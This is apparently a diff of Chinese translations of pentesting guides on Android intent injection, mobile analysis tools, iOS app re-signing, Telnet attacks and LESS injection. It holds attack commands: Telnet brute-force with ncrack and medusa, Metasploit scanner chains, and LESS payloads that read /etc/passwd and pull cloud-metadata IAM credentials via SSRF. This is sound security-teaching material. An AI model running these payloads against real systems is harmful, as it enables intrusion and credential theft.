开发人员通常创建代理组件,如活动、服务和广播接收器,处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法,这可能存在风险。
|
||||||
|
|
||||||
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
|
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
|
||||||
|
|
||||||
### 重要要点
|
### 重要要点
|
||||||
|
|
||||||
- **意图注入** 类似于网络的开放重定向问题。
|
- **意图注入** 类似于网络的开放重定向问题。
|
||||||
- 利用涉及将 `Intent` 对象作为附加项传递,这可能被重定向以执行不安全的操作。
|
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
|
||||||
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
- 它可能会将未导出的组件和内容提供者暴露给攻击者。
|
||||||
- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
|
- `WebView` 的 URL 到 `Intent` 的转换可能会促进意外操作。
|
||||||
|
|
||||||
### Android 客户端侧注入及其他
|
### Android 客户端侧注入及其他
|
||||||
|
|
||||||
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞:
|
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞:
|
||||||
|
|
||||||
- **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
|
- **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
|
||||||
- **JavaScript 注入 (XSS):** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认情况下禁用)。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
|
- **JavaScript 注入 (XSS):** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认情况下禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||||
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认情况下启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
|
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认情况下启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||||
- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 并未被撤销,甚至可能被保存到磁盘。
|
- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 并未被撤销,甚至可能被保存到磁盘。
|
||||||
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||||
|
|
||||||
@ -523,10 +523,10 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||||||
docker pull opensecurity/mobile-security-framework-mobsf
|
docker pull opensecurity/mobile-security-framework-mobsf
|
||||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||||
```
|
```
|
||||||
注意,MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序(_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_)。\
|
注意,MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序(_Windows 应用程序必须从安装了 MobSF 的 Windows 主机进行分析_)。\
|
||||||
此外,如果您创建一个包含 **Android** 或 **IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
|
此外,如果您创建一个包含 **Android** 或 **IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
|
||||||
|
|
||||||
MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。
|
MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。
|
||||||
|
|
||||||
### 使用 MobSF 进行辅助动态分析
|
### 使用 MobSF 进行辅助动态分析
|
||||||
|
|
||||||
@ -545,20 +545,20 @@ MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需
|
|||||||
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
||||||
|
|
||||||
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后会出现)。\
|
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后会出现)。\
|
||||||
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
|
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用 `send()` 函数)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
此外,您还有一些辅助 Frida 功能:
|
此外,您还有一些辅助 Frida 功能:
|
||||||
|
|
||||||
- **枚举加载的类**:它将打印所有加载的类
|
- **枚举已加载的类**:它将打印所有已加载的类
|
||||||
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
|
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
|
||||||
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
|
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
|
||||||
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
||||||
- **搜索类模式**:按模式搜索类
|
- **搜索类模式**:按模式搜索类
|
||||||
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪几个有趣的 Android API 方法。
|
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪多个有趣的 Android API 方法。
|
||||||
|
|
||||||
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将在“**Frida 实时日志**”中看到所有输出。
|
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
|
||||||
|
|
||||||
**Shell**
|
**Shell**
|
||||||
|
|
||||||
@ -573,7 +573,7 @@ receivers
|
|||||||
```
|
```
|
||||||
**HTTP工具**
|
**HTTP工具**
|
||||||
|
|
||||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到**代理**如Burp或Owasp ZAP。\
|
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||||
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||||
|
|
||||||
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||||
@ -598,7 +598,7 @@ receivers
|
|||||||
|
|
||||||
### [Qark](https://github.com/linkedin/qark)
|
### [Qark](https://github.com/linkedin/qark)
|
||||||
|
|
||||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,测试设备无需root。
|
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,无需对测试设备进行root。
|
||||||
```bash
|
```bash
|
||||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||||
qark --apk path/to/my.apk
|
qark --apk path/to/my.apk
|
||||||
@ -632,7 +632,7 @@ super-analyzer {apk_file}
|
|||||||
|
|
||||||
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
||||||
|
|
||||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序上,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序中,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||||
|
|
||||||
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
||||||
```
|
```
|
||||||
@ -699,7 +699,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
|||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
|
||||||
**DeGuard 逆转了 Android 混淆工具执行的混淆过程。这使得许多安全分析成为可能,包括代码检查和预测库。**
|
**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
|
||||||
|
|
||||||
您可以将混淆的 APK 上传到他们的平台。
|
您可以将混淆的 APK 上传到他们的平台。
|
||||||
|
|
||||||
@ -709,7 +709,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
|||||||
|
|
||||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||||
|
|
||||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
|
||||||
|
|
||||||
### [APKiD](https://github.com/rednaga/APKiD)
|
### [APKiD](https://github.com/rednaga/APKiD)
|
||||||
|
|
||||||
@ -717,7 +717,7 @@ APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译
|
|||||||
|
|
||||||
### 手动
|
### 手动
|
||||||
|
|
||||||
[阅读本教程以学习一些关于 **如何逆向自定义混淆** 的技巧](manual-deobfuscation.md)
|
[阅读本教程以了解一些关于 **如何逆向自定义混淆** 的技巧](manual-deobfuscation.md)
|
||||||
|
|
||||||
## 实验室
|
## 实验室
|
||||||
|
|
||||||
|
|||||||
@ -28,10 +28,10 @@ adb push start.sh \
|
|||||||
# spawn the privileged process
|
# spawn the privileged process
|
||||||
adb shell sh /storage/emulated/0/Android/data/moe.shizuku.privileged.api/start.sh
|
adb shell sh /storage/emulated/0/Android/data/moe.shizuku.privileged.api/start.sh
|
||||||
```
|
```
|
||||||
相同的脚本可以通过 **network ADB** 连接执行(`adb connect <IP>:5555`)。
|
同样的脚本可以通过 **network ADB** 连接执行(`adb connect <IP>:5555`)。
|
||||||
|
|
||||||
### 1.3 已获取 root 权限的设备
|
### 1.3 已获取root权限的设备
|
||||||
如果设备已经获取了 root 权限,请运行:
|
如果设备已经获取root权限,请运行:
|
||||||
```bash
|
```bash
|
||||||
su -c sh /data/adb/shizuku/start.sh
|
su -c sh /data/adb/shizuku/start.sh
|
||||||
```
|
```
|
||||||
@ -39,7 +39,7 @@ su -c sh /data/adb/shizuku/start.sh
|
|||||||
```bash
|
```bash
|
||||||
adb shell dumpsys activity service moe.shizuku.privileged.api | head
|
adb shell dumpsys activity service moe.shizuku.privileged.api | head
|
||||||
```
|
```
|
||||||
成功的启动返回 `Running services (1)` 以及特权进程的 PID。
|
成功启动会返回 `Running services (1)` 以及特权进程的 PID。
|
||||||
|
|
||||||
---
|
---
|
||||||
## 2. 从应用程序绑定
|
## 2. 从应用程序绑定
|
||||||
|
|||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID,以便获取其任务端口(能够控制它并访问其内存)。
|
使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID,以便获取其任务端口(能够控制它并访问其内存)。
|
||||||
|
|
||||||
然而,这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
然而,这并不像简单地提取 IPA、用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||||
|
|
||||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||||
|
|
||||||
@ -18,14 +18,14 @@
|
|||||||
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
|
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
|
||||||
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
|
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
|
||||||
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
|
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
|
||||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装应用程序。
|
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装该应用程序。
|
||||||
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
|
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
|
||||||
|
|
||||||
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
|
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
|
||||||
|
|
||||||
### 解密应用程序
|
### 解密应用程序
|
||||||
|
|
||||||
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被应用程序支持,因为通常应用程序只支持最新版本。
|
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被该应用程序支持,因为通常应用程序只支持最新版本。
|
||||||
|
|
||||||
因此,为了安装它,只需解压 IPA:
|
因此,为了安装它,只需解压 IPA:
|
||||||
```bash
|
```bash
|
||||||
@ -38,7 +38,7 @@ unzip redacted.ipa -d unzipped
|
|||||||
cd unzipped
|
cd unzipped
|
||||||
zip -r ../no-min-version.ipa *
|
zip -r ../no-min-version.ipa *
|
||||||
```
|
```
|
||||||
然后,使用以下命令安装IPA:
|
然后,使用以下命令安装IPA,例如:
|
||||||
```bash
|
```bash
|
||||||
ideviceinstaller -i no-min-version.ipa -w
|
ideviceinstaller -i no-min-version.ipa -w
|
||||||
```
|
```
|
||||||
@ -50,7 +50,7 @@ ideviceinstaller -i no-min-version.ipa -w
|
|||||||
|
|
||||||
为了使用 `get-task-allow` 权限重新签名应用程序,有几种可用的工具,如 `app-signer`、`codesign` 和 `iResign`。`app-signer` 具有非常用户友好的界面,可以非常轻松地重新签名 IPA 文件,指明要重新签名的 IPA、**将其设置为 `get-task-allow`** 以及要使用的证书和配置文件。
|
为了使用 `get-task-allow` 权限重新签名应用程序,有几种可用的工具,如 `app-signer`、`codesign` 和 `iResign`。`app-signer` 具有非常用户友好的界面,可以非常轻松地重新签名 IPA 文件,指明要重新签名的 IPA、**将其设置为 `get-task-allow`** 以及要使用的证书和配置文件。
|
||||||
|
|
||||||
关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并进行配置。然后,通过导航到 `Settings` → `Privacy & Security`,配置 **iPhone 以信任开发者应用**,并点击 `Developer Mode`。
|
关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并配置一个。然后,通过导航到 `Settings` → `Privacy & Security`,配置 **iPhone 以信任开发者应用**,并点击 `Developer Mode`。
|
||||||
|
|
||||||
使用重新签名的 IPA,现在可以在设备上安装它以进行渗透测试:
|
使用重新签名的 IPA,现在可以在设备上安装它以进行渗透测试:
|
||||||
```bash
|
```bash
|
||||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
|||||||
|
|
||||||
### 使用 MobSF 进行自动化动态分析(无越狱)
|
### 使用 MobSF 进行自动化动态分析(无越狱)
|
||||||
|
|
||||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术(`get_task_allow`)在真实设备上对开发签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术 (`get_task_allow`) 在真实设备上对开发签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||||
docker run -p 8000:8000 --privileged \
|
docker run -p 8000:8000 --privileged \
|
||||||
@ -106,7 +106,7 @@ MobSF 将自动部署二进制文件,在应用沙箱内启用 Frida 服务器
|
|||||||
### iOS 17 和锁定模式的注意事项
|
### iOS 17 和锁定模式的注意事项
|
||||||
|
|
||||||
* **锁定模式**(设置 → 隐私与安全)阻止动态链接器加载未签名或外部签名的动态库。当测试可能启用此模式的设备时,请确保其 **已禁用**,否则您的 Frida/objection 会话将立即终止。
|
* **锁定模式**(设置 → 隐私与安全)阻止动态链接器加载未签名或外部签名的动态库。当测试可能启用此模式的设备时,请确保其 **已禁用**,否则您的 Frida/objection 会话将立即终止。
|
||||||
* 指针认证(PAC)在 A12+ 设备上系统范围内强制执行。Frida ≥16 透明地处理 PAC 去除 — 只需在新的主要 iOS 版本发布时保持 *frida-server* 和 Python/CLI 工具链的最新状态。
|
* 指针认证(PAC)在 A12+ 设备上全系统强制执行。Frida ≥16 透明地处理 PAC 去除 — 只需在新的主要 iOS 版本发布时保持 *frida-server* 和 Python/CLI 工具链的最新状态。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
|||||||
@ -67,15 +67,15 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
### Recent Vulnerabilities (2022-2025)
|
### 最近的漏洞 (2022-2025)
|
||||||
|
|
||||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: 内置的 Telnet 服务接受硬编码凭据,并未对输入进行清理,允许通过在端口 23 上发送精心构造的命令以 root 身份进行未经身份验证的远程 RCE。已在固件 ≥ 1.04B05 中修复。
|
* **CVE-2024-45698 – D-Link Wi-Fi 6 路由器 (DIR-X4860)**: 内置的 Telnet 服务接受硬编码凭据,并未对输入进行清理,允许通过在 23 端口上发送构造的命令以 root 身份进行未经身份验证的远程 RCE。已在固件 ≥ 1.04B05 中修复。
|
||||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` 命令中的基于栈的缓冲区溢出使得相邻攻击者能够绕过身份验证并以 root 身份执行任意代码。
|
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` 命令中的基于栈的缓冲区溢出使得相邻攻击者能够绕过身份验证并以 root 身份执行任意代码。
|
||||||
* **CVE-2022-39028 – GNU inetutils telnetd**: 一个两字节序列 (`0xff 0xf7` / `0xff 0xf8`) 触发 NULL 指针解引用,可能导致 `telnetd` 崩溃,经过几次崩溃后导致持久的 DoS。
|
* **CVE-2022-39028 – GNU inetutils telnetd**: 一个两字节序列 (`0xff 0xf7` / `0xff 0xf8`) 触发 NULL 指针解引用,可能导致 `telnetd` 崩溃,经过几次崩溃后导致持久的 DoS。
|
||||||
|
|
||||||
在进行漏洞分类时,请记住这些 CVE——如果目标运行的是未修补的固件或遗留的 inetutils Telnet 守护进程,您可能会有直接的代码执行或破坏性 DoS 的路径。
|
在漏洞分类时请记住这些 CVE——如果目标运行的是未修补的固件或遗留的 inetutils Telnet 守护进程,您可能会有直接的代码执行或破坏性 DoS 的路径。
|
||||||
|
|
||||||
### Sniffing Credentials & Man-in-the-Middle
|
### 捕获凭据与中间人攻击
|
||||||
|
|
||||||
Telnet 以 **明文** 传输所有内容,包括凭据。捕获它们的两种快速方法:
|
Telnet 以 **明文** 传输所有内容,包括凭据。捕获它们的两种快速方法:
|
||||||
```bash
|
```bash
|
||||||
@ -98,7 +98,7 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
|
|||||||
# Medusa (parallel hosts)
|
# Medusa (parallel hosts)
|
||||||
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||||||
```
|
```
|
||||||
大多数物联网僵尸网络(Mirai 变种)仍然使用小型默认凭证字典扫描 23 端口——镜像该逻辑可以快速识别弱设备。
|
大多数物联网僵尸网络(Mirai 变种)仍然使用小的默认凭证字典扫描 23 端口——镜像该逻辑可以快速识别弱设备。
|
||||||
|
|
||||||
### 利用与后利用
|
### 利用与后利用
|
||||||
|
|
||||||
@ -114,7 +114,7 @@ Metasploit 有几个有用的模块:
|
|||||||
### 加固与检测(蓝队角落)
|
### 加固与检测(蓝队角落)
|
||||||
|
|
||||||
1. 优先使用 SSH 并完全禁用 Telnet 服务。
|
1. 优先使用 SSH 并完全禁用 Telnet 服务。
|
||||||
2. 如果需要 Telnet,仅将其绑定到管理 VLAN,强制执行 ACL,并使用 TCP 包装器包装守护进程 (`/etc/hosts.allow`)。
|
2. 如果需要 Telnet,仅将其绑定到管理 VLAN,强制执行 ACL,并使用 TCP 包装器包装守护进程(`/etc/hosts.allow`)。
|
||||||
3. 用 `ssl-telnet` 或 `telnetd-ssl` 替换遗留的 `telnetd` 实现,以添加传输加密,但 **这仅保护数据在传输中——密码猜测仍然很简单**。
|
3. 用 `ssl-telnet` 或 `telnetd-ssl` 替换遗留的 `telnetd` 实现,以添加传输加密,但 **这仅保护数据在传输中——密码猜测仍然很简单**。
|
||||||
4. 监控到 23 端口的出站流量;妥协通常会通过 Telnet 生成反向 shell,以绕过严格的 HTTP 出口过滤器。
|
4. 监控到 23 端口的出站流量;妥协通常会通过 Telnet 生成反向 shell,以绕过严格的 HTTP 出口过滤器。
|
||||||
|
|
||||||
|
|||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 `@import` 指令。在编译过程中,LESS 引擎将 **获取 `@import`** 语句中引用的资源,并在使用 `(inline)` 选项时将其内容嵌入(“内联”)到生成的 CSS 中。
|
LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 `@import` 指令。在编译过程中,LESS 引擎将 **获取 `@import`** 语句中引用的资源,并在使用 `(inline)` 选项时将其内容嵌入(“内联”)到生成的 CSS 中。
|
||||||
|
|
||||||
当一个应用程序将 **用户控制的输入** 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 **注入任意 LESS 代码**。通过滥用 `@import (inline)`,攻击者可以强制服务器检索:
|
当一个应用程序将 **用户控制的输入** 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 **注入任意 LESS 代码**。通过滥用 `@import (inline)`,攻击者可以强迫服务器检索:
|
||||||
|
|
||||||
* 通过 `file://` 协议的本地文件(信息泄露 / 本地文件包含)。
|
* 通过 `file://` 协议的本地文件(信息泄露 / 本地文件包含)。
|
||||||
* 内部网络或云元数据服务上的远程资源(SSRF)。
|
* 内部网络或云元数据服务上的远程资源(SSRF)。
|
||||||
@ -29,7 +29,7 @@ LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和
|
|||||||
```
|
```
|
||||||
`/etc/passwd` 的内容将在 HTTP 响应中出现在 `@@END@@` 标记之前。
|
`/etc/passwd` 的内容将在 HTTP 响应中出现在 `@@END@@` 标记之前。
|
||||||
|
|
||||||
### SSRF – Cloud Metadata
|
### SSRF – 云元数据
|
||||||
```
|
```
|
||||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||||
